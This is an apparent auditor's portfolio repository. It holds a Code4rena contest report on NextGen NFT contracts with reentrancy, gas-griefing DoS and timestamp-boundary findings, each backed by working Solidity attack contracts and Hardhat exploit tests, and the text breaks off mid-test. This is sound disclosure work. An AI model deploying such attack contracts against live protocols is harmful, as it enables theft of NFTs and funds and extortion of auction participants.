├── Contests
├── 2023-10-nextgen.md
├── 2023-10-opendollar.md
├── 2023-11-zetachain.md
├── 2024-01-covalent.md
├── 2024-02-unistaker.md
├── 2024-03-poolTogether.md
├── 2024-03-radicalxChange.md
├── 2024-04-dyad.md
├── 2024-05-optimism-safe.md
├── 2024-06-Intuition.md
├── 2024-07-atkBridge.md
├── 2024-08-zetachain.md
├── 2024-10-swan.md
└── 2024-12-soon.md
├── README.md
├── Solo
├── DYAD-VaultManagerV3-security-review.pdf
├── DYAD-weETH-security-review.pdf
├── Dyad-LpStaking-security-review.pdf
├── Dyad-TimeLock-security-review.pdf
├── Dyad-VaultManagerV5-security-review.pdf
├── DyadXP-security-review.pdf
├── DyadXPv2-security-review.pdf
├── README.md
├── TakaDAO-referralGateway-security-review.pdf
├── Venice-security-review.pdf
└── khuga-Labs-security-review.pdf
├── ask-for-audit.md
└── engagments
├── 2025-03-18-cyfrin-Metamask-DelegationFramework1-v2.0.pdf
└── README.md
/Contests/2023-10-nextgen.md:
--------------------------------------------------------------------------------
1 | # NextGen
2 | NextGen contest || NFTs, VRF, Airdrops || 30 Oct 2023 to 13 Nov 2023 on [code4rena](https://code4rena.com/audits/2023-10-nextgen)
3 |
4 | ## My Findings Summary
5 |
6 | |ID|Title|Severity|
7 | |--|-----|:------:|
8 | |[H‑01](#h-01-reentrancy-in-nextgencoremint-can-allow-users-to-mint-tokens-more-than-the-max-allowance)|Reentrancy in `NextGenCore::mint` can allow users to mint tokens more than the max allowance|HIGH|
9 | |[H-02](#h-02-auctiondemoclaimauction-is-subjected-to-an-out-of-gas-when-executing-because-of-63-64-rule)|C4 NextGen finding: `AuctionDemo::claimAuction` is subjected to an `out of gas` when executing because of `63/64` rule|HIGH|
10 | |[H-03](#h-03-invalid-time-validation-can-lead-make-auction-winners-claiming-the-auction-without-paying)|Invalid time validation can lead make auction winners claiming the auction without paying|HIGH|
11 | ||||
12 | |[M‑01](#m-01-minting-before-burning-in-nextgencoreburntomint-leads-to-reentrancy-issues)|Minting Before burning in `NextGenCore::burnToMint` leads to reentrancy issues|MEDIUM|
13 |
14 | ---
15 |
16 | ## [H-01] Reentrancy in `NextGenCore::mint` can allow users to mint tokens more than the max allowance
17 | ### Lines of code
18 |
19 | https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193-L198
20 | https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L182-L183
21 |
22 | ### Vulnerability details
23 |
24 | #### Impact
25 | In `NextGenCore`, users can mint tokens either in the airdrop period or the public sale period. But They are restricted by `maxCollectionPurchases` which restrict the number of tokens available for minting, to not exceed this limit.
26 |
27 | This check can be bypassed, where the `NextGenCore` increases the tokens minted for the user after minting the token by safe minting functionality. So the minter, which can be a smart contract implementing `onERC721Received` function, can call `NextGenCore::mint` again, and the check of the maximum allowance will be passed.
28 |
29 | ```solidity
30 | // NextGenCore::mint
31 | // @audit [Reentrancy can make people mint more than the max allowed]
32 | _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
33 | if (phase == 1) {
34 | tokensMintedAllowlistAddress[_collectionID][_mintingAddress] =
35 | tokensMintedAllowlistAddress[_collectionID][_mintingAddress] +
36 | 1;
37 | } else {
38 | tokensMintedPerAddress[_collectionID][_mintingAddress] =
39 | tokensMintedPerAddress[_collectionID][_mintingAddress] +
40 | 1;
41 | }
42 | ```
43 |
44 | ```solidity
45 | // MinterContract::mint
46 | require(
47 | gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <=
48 | gencore.viewMaxAllowance(col),
49 | "Max"
50 | );
51 | ```
52 |
53 |
54 | This problem is existed also in `NextGenCore::airDropTokens`. But since this function is only called by `MinterContract::airDropTokens` which is an admin-restricted call, It is kind of safe.
55 | ```solidity
56 | // NextGenCore::airDropTokens
57 | _mintProcessing(mintIndex, _recipient, _tokenData, _collectionID, _saltfun_o);
58 | tokensAirdropPerAddress[_collectionID][_recipient] = tokensAirdropPerAddress[_collectionID][_recipient] + 1;
59 | ```
60 |
61 | #### Proof of Concept
62 | I wrote a smart contract that can make this attack, here is the solidity code for the contract, The file is `attack/ReentrancyMint.sol` in `hardhat/smart-contracts`.
63 |
64 |
65 | Contract
66 |
67 | ```solidity
68 | // SPDX-License-Identifier: MIT
69 | pragma solidity 0.8.19;
70 |
71 | import {NextGenCore} from "../NextGenCore.sol";
72 | import {MinterContract} from "../MinterContract.sol";
73 |
74 | contract ReentrancyMint {
75 | NextGenCore public immutable nextGenCore; // NextGen contract
76 | MinterContract public immutable minter; // Minter contract
77 |
78 | uint256 public collectionID; // The collection that is available for minting
79 | uint256 public numberOfTokens; // Number of tokens to mint each iteration
80 | uint256 public maxAllowance; // This parameter is only needed in allowlist sale
81 | string public tokenData = '{"tdh": "100"}'; // Token data
82 | address public mintTo; // The minter address (this is used only in airdrop sales)
83 | bytes32[] public merkleProof = [bytes32(0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870)]; // merkle Tree
84 | address public delegator = address(0); // Not needed
85 |
86 | uint256 iterator; // Number of reentrant calls
87 |
88 | // Deploy our contract, and set the minter and NextGenCore contracts addresses
89 | constructor(address _nextGenCore, address _minter) {
90 | nextGenCore = NextGenCore(_nextGenCore);
91 | minter = MinterContract(_minter);
92 | }
93 |
94 | /// @notice Setting the information about the collection, and the number of tokens to be minted
95 | /// @dev This function will be called before making the reentrancy attack
96 | /// @dev I made this function to store the data passed to the `MinterContract::mint`, to use it again in `onERC721Received`
97 | function setMintingFunctionData(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance) public {
98 | collectionID = _collectionID;
99 | numberOfTokens = _numberOfTokens;
100 | maxAllowance = _maxAllowance;
101 | mintTo = address(this);
102 | }
103 |
104 | /// @notice Call `MinterContract::mint` function
105 | function mintToken() public {
106 | if (collectionID == 0) revert("Data is not set");
107 | minter.mint(collectionID, numberOfTokens, maxAllowance, tokenData, mintTo, merkleProof, delegator, 2);
108 | }
109 |
110 | /**
111 | * - call `MinterContract::mint` ->
112 | * - `NextGenCore::mint` ->
113 | * - `NextGenCore::_mintProcessing` ->
114 | * - `NextGenCore(ERC721)::_safeMint` ->
115 | * - `NextGenCore(ERC721)::_checkOnERC721Received` ->
116 | * - This function will get called at this point
117 | * - And our function will call `MinterContract::mint` again
118 | * - 4 iteration will be made
119 | *
120 | * */
121 | function onERC721Received(address from, address to, uint256 tokenId, bytes memory data) external returns (bytes4) {
122 | // To mint 5 tokens only
123 | if (++iterator == 5) {
124 | return this.onERC721Received.selector;
125 | }
126 | // This contract will call `MinterContract::mint` again, and it will break the maxAllowance check
127 | if (collectionID > 0) {
128 | minter.mint(collectionID, numberOfTokens, maxAllowance, tokenData, mintTo, merkleProof, delegator, 2);
129 | }
130 | return this.onERC721Received.selector;
131 | }
132 | }
133 | ```
134 |
135 |
136 |
137 |
138 |
139 | Then, I implemented a hardhat test to simulate the problem, you can copy/paste this test after `context("Get Price", ...)` block, in `nextGen.test.js` file.
140 |
141 |
142 | Testing js Script
143 |
144 | ```javascript
145 | context("Test `MinterContract::mint`", () => {
146 | it("should allow re-entrancy in `NextGenCore::mint`", async () => {
147 | const [, , , , , , , , , , , , , hacker] = await ethers.getSigners();
148 |
149 | // Deploy ReentranctContract, that will make the attack
150 | const ReentrancyContract = await ethers.getContractFactory("ReentrancyMint");
151 | const reentrancyContract = await ReentrancyContract.connect(hacker).deploy(
152 | await contracts.hhCore.getAddress(),
153 | await contracts.hhMinter.getAddress()
154 | );
155 |
156 | // Collection 1 , which is declared previously by devs in the test file, have a maxAllowance for a user to 2 tokens.
157 | const collectionMaxAllowance = await contracts.hhCore.viewMaxAllowance(1);
158 |
159 | console.log(`Collection 1 has max Allowance: ${collectionMaxAllowance}`); // 2
160 |
161 | // We will set the data to make `reentrancyContract` mint 1 token each iteration
162 | await reentrancyContract.connect(hacker).setMintingFunctionData(1, 1, 0);
163 |
164 | /**
165 | * - collectionId = 1 is avaialble for minting
166 | * - The reentrancy contract will mint 5 tokens now by reentering `mint` before adding that the token was minted
167 | *
168 | * - The Attacker will simply make `ReentrancyMint` contract call `MinterContract::mint`
169 | * - After making checks, the `NextGenCore` will mint an NFT to it
170 | * - _safeMint() is used to mint, so the ERC721 will call `onERC721Received`, since its a contract
171 | * - Our contract will call `MinterContract::mint` again
172 | * - We didn't added tokens minted to the address, so the `ReentrancyMint` still has 0 tokens minted
173 | * - This loops will do 4 successive iterations
174 | * - After minting 4 times by `onERC721Received` + 1 time the beginning call then we called mint 5 times
175 | * - Each time we minted 1 tokens, so the `ReentrancyMint` minted 5 tokens
176 | * - The code will complete the stored uncompleted functions in the stack (like recursion), and add tokens minted
177 | * - The mintedTokens of the user will be set to 5, but its useless now, as the hacker minted 5 tokens and passed the check
178 | * - The minter passed The check successfully, well done
179 | */
180 | await reentrancyContract.connect(hacker).mintToken();
181 |
182 | const reentrancyContractMintedTokens = await contracts.hhCore.retrieveTokensMintedPublicPerAddress(
183 | 1,
184 | await reentrancyContract.getAddress()
185 | );
186 |
187 | console.log(`The reenterancyContract has ${reentrancyContractMintedTokens} tokens minted`); // 5 Tokens
188 | });
189 | });
190 | ```
191 |
192 |
193 |
194 | #### Tools Used
195 | Manual Review + Hardhat
196 |
197 | #### Recommended Mitigation Steps
198 | You must make the changes in the contract before doing the minting process, The minting proccess should be the last step, all changes should be made before interaction, following the [CEI pattern](https://fravoll.github.io/solidity-patterns/checks_effects_interactions.html).
199 |
200 | ```diff
201 | // NextGenCore::mint
202 | - _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
203 | if (phase == 1) {
204 | tokensMintedAllowlistAddress[_collectionID][_mintingAddress] =
205 | tokensMintedAllowlistAddress[_collectionID][_mintingAddress] +
206 | 1;
207 | } else {
208 | tokensMintedPerAddress[_collectionID][_mintingAddress] =
209 | tokensMintedPerAddress[_collectionID][_mintingAddress] +
210 | 1;
211 | }
212 | + _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
213 | ```
214 |
215 | It is better to change it in the airdrop too.
216 |
217 | ```diff
218 | // NextGenCore::airDropTokens
219 | - _mintProcessing(mintIndex, _recipient, _tokenData, _collectionID, _saltfun_o);
220 | tokensAirdropPerAddress[_collectionID][_recipient] = tokensAirdropPerAddress[_collectionID][_recipient] + 1;
221 | + _mintProcessing(mintIndex, _recipient, _tokenData, _collectionID, _saltfun_o);
222 | ```
223 |
224 | ### Assessed type
225 |
226 | Reentrancy
227 |
228 | ---
229 |
230 | ## [H-02] `AuctionDemo::claimAuction` is subjected to an `out of gas` when executing because of `63-64` rule
231 |
232 | ### Lines of code
233 |
234 | https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L116
235 |
236 | ### Vulnerability details
237 |
238 | #### Impact
239 | In `AuctionDemo::claimAuction`, the function can be permanently disabled, and it is subjected to revert with an `out of gas` reason, even if you submitted it with the max gas available in block size which is 30 million.
240 |
241 | The function returns bids to the bidders, and the winner gets the NFT. So if one of the bidders consumes all the gas supplied to it, which will be `{initial gas * (63/64)^depth(=1)}`, there will be little gas left. This will affect transferring funds to the next bidders and the NFT to the winner, which makes it vulnerable to to `out of gas` revert.
242 |
243 | If the bidder is a contract that consumes a lot of gas on receiving the ETH, as the snipped code below, It can disable claiming auction permanently.
244 | ```solidity
245 | // The receiver will consume all gas provided to it {gas * (63/64)^depth(=1)}
246 | receive() external payable {
247 | uint256 i;
248 | while (i < 1e9) {
249 | i++;
250 | }
251 | }
252 | ```
253 | We will discuss an example of when this bidder (gasWaster) participated in the auction two times (this is allowed in the Auction participating structure).
254 | - Auction starts
255 | - Bidders bid
256 | - The gasWaster bid in two different places.
257 | - Other bidders bid.
258 | - Auction ends and one bidder wins.
259 | - The Winner Called `AuctionDemo::claimAuction` function with `30M` as gas for the tx (the maximum available amount)
260 | - The function will go in for loop, sending eth to the bidders.
261 | - First, it will send ETH to the gasWaster address (which has a receive function that wastes all gas as that in the snipped code).
262 | - After some calls, it will send ETH to the gasWaster again (he participated two times).
263 | - The gasWaster addresses consumed all the gas, and no remaining gas for the other calls nor for transferring the NFT to the winner.
264 | - The function will revert with `out of gas` when submitting max available gas, making the function disabled permanently.
265 |
266 | **Here is the amount of gas that will left after sending ETH to the gasWaster in the first and second time.**
267 |
268 | - The values in the table are when the gasWaster is the first and second bidder.
269 | - Gas values are not 100% accurate, but it's not a problem, since They are for illustration only.
270 |
271 | Bidder|Avaialbe Gas|Calculate the sent gas|Gas Used|Remaning Gas|
272 | ------|------------|----------------------|--------|------------|
273 | 1|30,000,000|30,000,000 * (63/64)^1|29,531,250|468,750|
274 | 2|468,750|468,750 * (63/64)^1|461,426|7,324|
275 |
276 | 7,324 gas left from 30M! This will not make any other external call occur, the function reverts with an `out of gas` error.
277 |
278 | We are calling the function with the maximum amount of gas available, so we can't increase the gas above this value.
279 |
280 | The function is totally locked, no one can call it, it is subjected to a DoS attack on the blockchain (EVM) level not just the smart contract level.
281 |
282 | The problems that will occur:
283 | - The winner can't claim his reward and pays too much gas for nothing.
284 | - Bidders' ETH is locked permanently in the contract, and no way to get it back.
285 |
286 | As we saw the gas used by the gasWaster is ~`29,531,250`, leaving ~`461,426` in the first call.
287 |
288 | I tested when the function will revert with `out of gas` in case the gasWaster participated only one time, it gives me that it will revert after ~28 calls after the gasWaster call, this number is the maximum it can't afford, it can revert before this depending on the gasWaster call position.
289 |
290 | _**NOTE**: This problem is not the same as the unchecked call problem submitted by the bot. The `out of gas`, will not get solved by checking on the resulting value. If we add the check on success (as the bot report said), we will revert because of the `out of gas` from the external contract. So the function will revert with the reason `external call failed` when adding the bot suggestion. And if the function is left unchecked, which is good in this function especially, the function can revert with `out of gas`. No way to escape from this situation._
291 |
292 |
293 | **Why does a person pay ETH to just spoil the auction**
294 |
295 | The problem in the contract is that it's not a normal `out of gas` and locked ETH, as there are a lot of things that can encourage hackers to make this attack, as they will gain profit from it.
296 |
297 | The hacker can lock a valuable NFT auction, and ask the winner for money to allow the function (`claimAuction`) to fire, here is an example:
298 | ```solidity
299 | receive() external payable {
300 | uint256 i;
301 | if (lockAuction /* gasWaster control this variable in the contract */) {
302 | while (i < 1e9) {
303 | i++;
304 | }
305 | }
306 | }
307 | ```
308 |
309 | Artists will have to pay to rescue the auction and people's funds by paying money to the hacker, as some NFTs worth millions.
310 |
311 | **The problems that will affect the protocol and business**
312 | - Users will lose their money, making them leave the protocol.
313 | - Less trust in the protocol.
314 | - NFT prices may drop, as the adoption will decrease.
315 |
316 | _**NOTE**:`1/64` and gas problems lie at a medium level in most cases, but the problem is that in this contract, it will cause a lot of losses, and break the Protocol's main functionality, which is auctioning valuable NFTs. So I made it a HIGH bug since the protocol service will crash because of it._
317 |
318 | #### Proof Of Concept
319 |
320 | I wrote a smart contract that can make this attack, here is the solidity code for the contract, The file is `attack/GasWastageAuctioneer.sol` in `hardhat/smart-contracts`.
321 |
322 |
323 | Contract
324 |
325 |
326 | ```solidity
327 | // SPDX-License-Identifier: MIT
328 | pragma solidity 0.8.19;
329 |
330 | import {AuctionDemo} from "../AuctionDemo.sol";
331 |
332 | contract GasWastageAuctioneer {
333 | AuctionDemo public immutable auctionContract; // NextGen contract
334 |
335 | // Deploy our contract, and set the minter and NextGenCore contracts addresses
336 | constructor(address _auctionContract) {
337 | auctionContract = AuctionDemo(_auctionContract);
338 | }
339 |
340 | // Wasting gas with receiving ETH
341 | receive() external payable {
342 | uint256 i;
343 | // The hacker can make a condition which gives him the possibility
344 | // to bargain for the cancellation of gas wastage in exchange for money
345 | while (i < 1e9) {
346 | i++;
347 | }
348 | }
349 |
350 | // gasWaster participate to auction
351 | function participateInAuction(uint256 _tokenId) external payable {
352 | auctionContract.participateToAuction{value: msg.value}(_tokenId);
353 | }
354 | }
355 | ```
356 |
357 |
358 |
359 | Then, I implemented a hardhat test to simulate the problem, you can copy/paste this test after `context("Get Price", ...)` block, in `nextGen.test.js` file.
360 |
361 |
362 | Testing js script
363 |
364 | ```javascript
365 | context("Test `AuctionDemo::claimAuction`", () => {
366 | it("It should block the `AuctionDemo::claimAuction` permenantly through `out of gas` error", async () => {
367 | const [, , , , , , , , , , , , , receipent, bidder1, bidder2, gasWaster] = await ethers.getSigners();
368 |
369 | const ONE_DAY = 24 * 60 * 60;
370 | const ONE_TENTH_ETHER = 100000000000000000n;
371 |
372 | // Deploy Auction contract
373 | const auction = await ethers.getContractFactory("AuctionDemo");
374 | const hhAuction = await auction.deploy(
375 | await contracts.hhMinter.getAddress(),
376 | await contracts.hhCore.getAddress(),
377 | await contracts.hhAdmin.getAddress()
378 | );
379 |
380 | // Deploy GasWastageBidder, that will make the attack
381 | const GasWastageBidder = await ethers.getContractFactory("GasWastageBidder");
382 | const gasWastageBidder = await GasWastageBidder.connect(gasWaster).deploy(await hhAuction.getAddress());
383 |
384 | // Get the current block.timestamp
385 | const blockNumber = await ethers.provider.getBlockNumber();
386 | const block = await ethers.provider.getBlock(blockNumber);
387 | const currentTimestamp = block.timestamp;
388 |
389 | // This token will be the third token, where two have been minted in the previous `context`
390 | await contracts.hhMinter.mintAndAuction(
391 | receipent.address, // receipent address
392 | '{"tdh": "100"}', // _tokenData
393 | 2, //_varg0
394 | 3, // _collectionID
395 | currentTimestamp + ONE_DAY * 7 // 7 days (The auction period)
396 | );
397 |
398 | // The tokenId of the NFT auctioned
399 | const auctionTokenId =
400 | (await contracts.hhCore.viewTokensIndexMin(3)) + (await contracts.hhCore.viewCirSupply(3)) - BigInt(1);
401 |
402 | // The gasWaster participated in the auction First in 1st and 2nd positions in the auction, and placed .1 ether
403 | await gasWastageBidder.connect(gasWaster).participateInAuction(auctionTokenId, { value: ONE_TENTH_ETHER });
404 |
405 | // Comment/remove this code (the second gasWaster participation) to prevent `out of gas revert` and see the gas usage
406 | await gasWastageBidder
407 | .connect(gasWaster)
408 | .participateInAuction(auctionTokenId, { value: ONE_TENTH_ETHER + BigInt(1) });
409 |
410 | // Another peaple participater in the auction (+another 10 Bids)
411 | for (let i = 1; i <= 4; i++) {
412 | const bidder1Value = BigInt(i * 2); // 2, 4, 6, 8, 10
413 | const bidder2Value = BigInt(i * 2) + BigInt(1); // 3, 5, 7, 9, 11
414 | await hhAuction
415 | .connect(bidder1)
416 | .participateToAuction(auctionTokenId, { value: ONE_TENTH_ETHER * bidder1Value });
417 | await hhAuction
418 | .connect(bidder2)
419 | .participateToAuction(auctionTokenId, { value: ONE_TENTH_ETHER * bidder2Value });
420 | }
421 |
422 | // Auciton ended, and bidder2 is the winner
423 | await network.provider.send("evm_increaseTime", [ONE_DAY * 8]);
424 | await network.provider.send("evm_mine", []);
425 |
426 | // The receipent is a trust EOA owner by NextGenTeam, and they will make the AuctionDemo has approval
427 | // for the token, in order to transfer it to the winner
428 | const hhAuctionAddress = await hhAuction.getAddress();
429 | await contracts.hhCore.connect(receipent).approve(hhAuctionAddress, auctionTokenId);
430 |
431 | // bidder2 wants to claim the auction, gasLimit is 30 million (maximimum amount of gas)
432 | const tx = await hhAuction.connect(bidder2).claimAuction(auctionTokenId, { gasLimit: 30_000_000 });
433 | const txReceipt = await tx.wait();
434 |
435 | // This part will be reached only if the gasWaster participated only one time
436 | const gasUsedInETH = txReceipt.gasUsed * txReceipt.gasPrice;
437 | console.log(
438 | `Gas used by the winner to claim his prize: ${txReceipt.gasUsed} gas = ${ethers.formatEther(
439 | gasUsedInETH.toString()
440 | )} ETH`
441 | );
442 | });
443 | });
444 | ```
445 |
446 |
447 |
448 |
449 | This js test script will give the following error `Transaction ran out of gas`, disabling the claiming auction permanently.
450 |
451 | _Keep in mind that the javascript script will make two while loops each making 1 billion iterations. The transaction will revert (internally from the blockchain, not the js script itself) before completing these iterations. If your PC has an old processor, you can terminate the process if you find the PC goes hotter._
452 |
453 | #### Tools Used
454 | Manual Review + Hardhat
455 |
456 | #### Recommended Mitigation Steps
457 |
458 | There are two solutions to this problem:
459 | - Disallowing contracts from participating in the auction.
460 | - Restrict the gas passed to the bidders (external calls).
461 |
462 | ### Disallowing contracts from participating in the auction
463 |
464 | Simple, we can check for the caller of the `AuctionDemo::participateToAuction` function, and revert if it is a contract.
465 | ```diff
466 | // AuctionDemo
467 | function participateToAuction(uint256 _tokenid) public payable {
468 | + address sender = msg.sender;
469 | + uint256 codeSize;
470 | + assembly {
471 | + codeSize := extcodesize(sender)
472 | + }
473 | + require(codeSize == 0, "Contracts are not allowed");
474 | require(
475 | msg.value > returnHighestBid(_tokenid) &&
476 | block.timestamp <= minter.getAuctionEndTime(_tokenid) &&
477 | minter.getAuctionStatus(_tokenid) == true
478 | );
479 | auctionInfoStru memory newBid = auctionInfoStru(msg.sender, msg.value, true);
480 | auctionInfoData[_tokenid].push(newBid);
481 | }
482 | ```
483 | **NOTE**: this check is not enough to check if the caller is a contract or not, as `extcodesize(sender)` returns 0 in the following cases:
484 | - an externally-owned account.
485 | - a contract in construction.
486 | - an address where a contract will be created.
487 | - an address where a contract lived, but was destroyed.
488 |
489 | So it is not the best check, and the problem still can happen if the contract was in the construction for example.
490 |
491 | ### Restrict the gas passed to the bidders (external calls)
492 |
493 | Although restricting gas passed is not the best practice, it will solve the problem we are facing.
494 |
495 | Instead of forwarding all the gas (`63/64`) to the external call, we will restrict it by a given value, since it's just sending ETH to an address, the gas cost will be relatively constant ~`21000`. So we can pass 50k to be sure that the normal transfer will be made successfully.
496 |
497 | ```diff
498 | // AuctionDemo::claimAuction -> else if block
499 |
500 | // Make the gas equals 50_000 if gasLeft is greater than 50_000
501 | + uint256 gasForwarded = gasleft() < 50_000 ? gasleft() : 50_000;
502 |
503 | (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{
504 | value: auctionInfoData[_tokenid][i].bid,
505 | + gas: gasForwarded
506 | }("");
507 | emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
508 | ```
509 |
510 | Now, if the receiver (gasWaster) consumed all the gas, he would not take the money, not affecting other bidders.
511 |
512 | Auction biddings will be passed successfully, and the gasWaster is the person who will get punished.
513 |
514 | _There is no way to recover failed transactions, and `AuctionDemo` has no function to withdraw ETH in case of a problem, but this is not the problem we are discussing._
515 |
516 | ### One last thing
517 |
518 | _As we said before, listening to bots' suggestions and checking this function `AuctionDemo::claimAuction` will make the auction vulnerable to a DoS attack, so the devs should keep this in mind. Here's the scenario_
519 | ```solidity
520 | receive() external payable {
521 | revert("Break auction");
522 | }
523 | ```
524 |
525 |
526 | ### Assessed type
527 |
528 | DoS
529 |
530 | ---
531 |
532 | ## [H-03] Invalid time validation can lead make auction winners claiming the auction without paying.
533 |
534 | ### Lines of code
535 |
536 | https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L105
537 | https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L125
538 |
539 |
540 | ### Vulnerability details
541 |
542 | #### Impact
543 |
544 | In `AuctionDemo::claimAuction` contract, the timing check checks that the timestamp equals or greater than the auction ending time.
545 | ```solidity
546 | // @audit [M: The winner can fire `claimAuction` and `cancelBid` at the exact time of ending
547 | // causing The winner to claim the NFT without paying, the the bidder to withdraw two times]
548 | require(
549 | block.timestamp >= minter.getAuctionEndTime(_tokenid) &&
550 | auctionClaim[_tokenid] == false &&
551 | minter.getAuctionStatus(_tokenid) == true
552 | );
553 | ```
554 |
555 | And in `AuctionDemo::cancelBid` or `AuctionDemo::cancelAllBids`, the timing check checks that the timestamp is smaller than or equal to the auction ending time.
556 | ```solidity
557 | require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
558 | ```
559 |
560 | So if the winner fired the `claimAuction()` and the `cancelBid()` function at the timestamp of the ending of the auction. He can claim the auction (get the NFT), and cancel his bid too.
561 |
562 | - If the auction ending time is `1700324322`.
563 | - The winner fired the `claimAuction()` then `cancelBid()` at the timestamp `1700324322`.
564 | - The winner claimed the NFT and refunded his bid too.
565 |
566 | The likelihood of this problem occurring is very low, as it should occur at the exact timestamp of the ending of the auction.
567 |
568 | If the winner made this (fired the two functions through a contract) at a random time, and luckily the block miner set the timestamp at the exact auction ending time of the auction, The attack will take place.
569 |
570 | The block time is ~11-13 sec, so it may occur who nows.
571 |
572 | Miners can do this attack too, but as we said it is scarcely to happen.
573 |
574 | #### Proof of Concept
575 | I wrote a smart contract that can make this attack, here is the solidity code for the contract, The file is `attack/ClaimWithoutPay.sol` in `hardhat/smart-contracts`.
576 |
577 |
578 | Contract
579 |
580 | ```solidity
581 | // SPDX-License-Identifier: MIT
582 | pragma solidity 0.8.19;
583 |
584 | import {AuctionDemo} from "../AuctionDemo.sol";
585 |
586 | contract ClaimWithoutPay {
587 | AuctionDemo public immutable auctionDemo; // Auction contract
588 |
589 | // Deploy our contract, and set Auction address
590 | constructor(address _auctionDemo) payable {
591 | auctionDemo = AuctionDemo(_auctionDemo);
592 | }
593 |
594 | // To receive ether
595 | receive() external payable {}
596 |
597 | // participating in auction
598 | function participateToAuction(uint256 _tokenId) public payable {
599 | auctionDemo.participateToAuction{value: msg.value}(_tokenId);
600 | }
601 |
602 | // Claim the auction, and cancel our bid
603 | function claimWithoutPay(uint256 _token, uint256 _index) public {
604 | auctionDemo.claimAuction(_token);
605 | auctionDemo.cancelBid(_token, _index);
606 | }
607 |
608 | // To accept the NFT, when receiving it
609 | function onERC721Received(address from, address to, uint256 tokenId, bytes memory data) external returns (bytes4) {
610 | return this.onERC721Received.selector;
611 | }
612 | }
613 | ```
614 |
615 |
616 |
617 |
618 |
619 | I implemented a hardhat test to simulate the problem, you can copy/paste this test after `context("Get Price", ...)` block, in `nextGen.test.js` file.
620 |
621 |
622 | Testing js script
623 |
624 | ```javascript
625 | context("Test `AuctionDemo`", () => {
626 | it("should allow The winner to claim his prize, and ", async () => {
627 | const [, , , , , , , , , , , , , receipent, bidder1, bidder2, winner] = await ethers.getSigners();
628 | // Deploy Auction Contract
629 | const auction = await ethers.getContractFactory("AuctionDemo");
630 | const hhAuction = await auction.deploy(
631 | await contracts.hhMinter.getAddress(),
632 | await contracts.hhCore.getAddress(),
633 | await contracts.hhAdmin.getAddress()
634 | );
635 |
636 | const ONE_DAY = 24 * 60 * 60;
637 | const ONE_ETHER = 1000000000000000000n;
638 |
639 | // Deploy `ClaimWithoutPay` which will be the winner, and claim the auction without bidding
640 | const ClaimWithoutPay = await ethers.getContractFactory("ClaimWithoutPay");
641 | const claimWithoutPayContract = await ClaimWithoutPay.deploy(await hhAuction.getAddress(), {});
642 |
643 | // Get the current block.timestamp
644 | const blockNumber = await ethers.provider.getBlockNumber();
645 | const block = await ethers.provider.getBlock(blockNumber);
646 | const currentTimestamp = block.timestamp;
647 |
648 | // This token will be the third token, where two tokens have been minted in the previous `context`
649 | await contracts.hhMinter.mintAndAuction(
650 | receipent.address, // receipent address
651 | '{"tdh": "100"}', // _tokenData
652 | 2, //_varg0
653 | 3, // _collectionID
654 | currentTimestamp + ONE_DAY * 7 // 7 days
655 | );
656 |
657 | // The tokenId of the NFT auctioned
658 | const auctionTokenId =
659 | (await contracts.hhCore.viewTokensIndexMin(3)) + (await contracts.hhCore.viewCirSupply(3)) - BigInt(1);
660 |
661 | // bidder1 participates in auction, and placed 1 ether
662 | await hhAuction.connect(bidder1).participateToAuction(auctionTokenId, { value: ONE_ETHER });
663 |
664 | // bidder2 participates in auction, and placed 2 ether
665 | await hhAuction.connect(bidder2).participateToAuction(auctionTokenId, { value: ONE_ETHER * BigInt(2) });
666 |
667 | // `claimWithoutPayContract` contract (The winner) participates in the auction, and placed 3 ether
668 | await claimWithoutPayContract
669 | .connect(winner)
670 | .participateToAuction(auctionTokenId, { value: ONE_ETHER * BigInt(3) });
671 |
672 | // The receipent is a trust EOA owner by NextGenTeam, and they will make the AuctionDemo has approval
673 | // for the token, in order to transfer it to the winner
674 | await contracts.hhCore.connect(receipent).approve(await hhAuction.getAddress(), auctionTokenId);
675 |
676 | // Before doing the attack, the contract `AuctionDemo` should has money, after `claiming auction`
677 | // This will occuar if there is more than one auction in the `AuctionDemo`
678 | //
679 | // This token will be the fourth token, where two tokens have been minted in the previous `context`
680 | // The second auction, is used to make the contract `AuctionDemo` has balance from the two auctions
681 | // And the steal can occuars
682 | await contracts.hhMinter.mintAndAuction(
683 | receipent.address, // receipent address
684 | '{"tdh": "100"}', // _tokenData
685 | 2, //_varg0
686 | 3, // _collectionID
687 | currentTimestamp + ONE_DAY * 14 // 14 days
688 | );
689 | // The second auctioned token exceeds the previous token by 1.
690 | // We made this second auction, and made a bid with 3 ETH, so that there will be excessive 3 ETH
691 | // in `AuctionDemo` when claiming the auction 1.
692 | await hhAuction
693 | .connect(bidder1)
694 | .participateToAuction(auctionTokenId + BigInt(1), { value: ONE_ETHER * BigInt(3) });
695 |
696 | // The balance of the `claimWithoutPayContract` before claiming
697 | let claimWithoutPayContractBalance = await ethers.provider.getBalance(
698 | await claimWithoutPayContract.getAddress()
699 | );
700 | console.log(`The balance of the 'ClaimWithoutPay' contract : ${claimWithoutPayContractBalance}`);
701 |
702 | const auctionEndingTime = await contracts.hhMinter.getAuctionEndTime(auctionTokenId);
703 |
704 | // Get the current time
705 | const blockNumber2 = await ethers.provider.getBlockNumber();
706 | const block2 = await ethers.provider.getBlock(blockNumber2);
707 | const currentTimestamp2 = block2.timestamp;
708 |
709 | const timeDifference = Number(auctionEndingTime) - currentTimestamp2;
710 |
711 | // The auction period is 7 days, and an exact 7 days has been passed.
712 | // EX: if the auction ends at `1700324322`, we will make the transaction at timestamp = `1700324322`
